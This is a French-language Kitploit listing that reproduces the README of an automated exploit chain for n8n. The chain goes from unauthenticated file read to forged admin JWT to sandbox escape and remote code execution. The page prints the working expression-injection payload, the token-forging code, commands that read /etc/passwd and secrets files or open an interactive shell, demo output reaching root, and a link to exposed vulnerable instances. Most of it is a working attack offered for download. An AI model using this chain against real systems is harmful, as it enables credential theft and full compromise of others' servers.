Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-21858 — Chaîne d'exploitation automatisée pour n8n permettant une lecture arbitraire de fichiers sans authentification, la falsification de jeton administrateur et le contournement du bac à sable pour aboutir à une exécution de code à distance via une injection d'expression. | Kitploit
Outils/GitHubGitHub/kaleth4/cve-2026-21858
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationRed TeamingDéveloppement de Charges Utiles
GitHubkaleth4/cve-2026-21858

CVE-2026-21858

Chaîne d'exploitation automatisée pour n8n permettant une lecture arbitraire de fichiers sans authentification, la falsification de jeton administrateur et le contournement du bac à sable pour aboutir à une exécution de code à distance via une injection d'expression.

Voir le dépôt
15il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-21858 + CVE-2025-68613 - Chaîne complète n8n

Lecture arbitraire de fichiers non authentifiée → Forge de jeton admin → Contournement de sandbox → RCE

Chaîne RCE complète non authentifiée sur n8n :

  1. CVE-2026-21858 - Confusion de Content-Type → Lecture arbitraire de fichiers
  2. Lecture de la configuration + base de données → forge d'un JWT admin
  3. CVE-2025-68613 - Injection d'expression → contournement de sandbox → RCE

Détection

L'exposition est basée sur la version. En termes d'exposition, il existe des instances n8n vulnérables accessibles publiquement.

Résultats LeakIX : Voir les instances exposées

Pourquoi cet exploit ?

Cet exploit a été développé indépendamment du write-up de Cyera (découvert après son achèvement). Différences clés :

Cyera (Recherche originale)Cet exploit
Lecture de fichiersChargement dans la base de connaissances IA → interrogation via chatRéponse HTTP directe
PrérequisWorkflow de chat + intégration IAN'importe quel formulaire avec upload de fichier
Méthode RCENœud « Execute Command » (désactivé par défaut)Injection d'expression (fonctionne sur les installations par défaut)
AutomatisationDémo manuelle/conceptuelleScript Python entièrement automatisé

Les deux approches nécessitent des configurations de workflow spécifiques. Cyera a besoin d'un chat + d'une intégration IA, cet exploit a besoin d'un formulaire avec un nœud Respond. Voir Limitations pour plus de détails.

Chaîne d'attaque

┌───────────────────────────────────────────────────────────┐
│                     NON AUTHENTIFIÉ                       │
├───────────────────────────────────────────────────────────┤
│  1. Lecture de /proc/self/environ → Trouver le répertoire HOME │
│  2. Lecture de $HOME/.n8n/config → Obtenir encryptionKey   │
│  3. Lecture de $HOME/.n8n/database.sqlite → Obtenir les identifiants admin │
├───────────────────────────────────────────────────────────┤
│                      FORGE DE JETON                       │
├───────────────────────────────────────────────────────────┤
│  4. Dérivation du secret JWT à partir de encryptionKey     │
│  5. Forge du cookie de session admin                      │
├───────────────────────────────────────────────────────────┤
│                    RCE AUTHENTIFIÉ                        │
├───────────────────────────────────────────────────────────┤
│  6. Création d'un workflow avec injection d'expression    │
│  7. Contournement de sandbox via this.process.mainModule.require │
│  8. Exécution de commandes arbitraires                    │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - Lecture arbitraire de fichiers via confusion de Content-Type

Le correctif

commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

Le légendaire « Merge commit from fork » - quand vous voyez ça, quelqu'un a trouvé quelque chose de piquant. 🌶️

Cause racine

// AVANT (vulnérable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// APRÈS (corrigé)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

Envoyez Content-Type: application/json → contrôlez filepath → lisez n'importe quel fichier.

CVE-2025-68613 - RCE par injection d'expression

Pourquoi ce contournement ?

n8n isole le code utilisateur (Code Node, expressions) avec vm2/isolated-vm. Autres vecteurs RCE :

TechniqueStatut
Nœud Execute CommandDésactivé par défaut (N8N_ALLOW_EXEC_COMMAND=false)
Nœuds SSH/HTTPExécution sur des serveurs distants, pas sur l'hôte n8n
Évasion de sandbox PyodideCVE-2025-68668 - nécessite le nœud Python Code
Injection d'expressionCVE-2025-68613 - fonctionne sur les installations par défaut

J'ai utilisé l'injection d'expression car elle fonctionne sur n'importe quel n8n avec les paramètres par défaut - aucun nœud ou configuration spéciale requis. Le contournement Pyodide (CVE-2025-68668) nécessite le nœud Python Code qui peut ne pas être disponible sur toutes les instances.

La charge utile

={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

Les expressions n8n ont accès à this.process.mainModule.require → évasion complète du sandbox.

Forge de jeton

# Dérivation du secret JWT
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# Hash JWT
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forge du jeton
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

Configuration du laboratoire

docker compose up -d
# Attendre ~60 secondes pour la configuration
# Formulaire : http://localhost:32790/form/vulnerable-form
# Identifiants : [email protected] / ExploitLab123!

Utilisation

# Lire un fichier arbitraire
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Chaîne complète avec commande
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Shell interactif
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

Démo

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - Chaîne complète n8n     ║
║     Lecture arbitraire de fichiers → Forge de jeton → Contournement de sandbox → RCE ║
╚═══════════════════════════════════════════════════════════════╝

[*] Cible : http://localhost:5678/form/vulnerable-form
[*] Version : 1.65.0 (VULN)
[x] Répertoire HOME
[+] Répertoire HOME : /root
[x] Clé de chiffrement
[+] Clé de chiffrement : yusrXZV1...
[x] Base de données
[+] Base de données : 1327104 octets
[x] Utilisateur admin
[+] Utilisateur admin : [email protected]
[x] Forge de jeton
[+] Forge de jeton : OK
[x] Accès admin
[+] Accès admin : ACCORDÉ !
[+] Cookie : n8n-auth=eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE : OK

uid=0(root) gid=0(root) groups=0(root)

Limitations

Ce n'est PAS un exploit « pwn n'importe quel n8n ». Il nécessite des conditions spécifiques pour fonctionner :

ExigenceDescription
Formulaire avec upload de fichierLa cible doit avoir un workflow de formulaire avec un champ d'upload de fichier
Nœud Respond to WebhookLe workflow doit renvoyer le contenu du fichier dans la réponse HTTP
Workflow actifLe workflow de formulaire doit être activé
Accès non authentifiéLe formulaire doit être accessible publiquement (sans authentification)

Exemple de configuration de workflow vulnérable :

{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}
Télécharger l’outil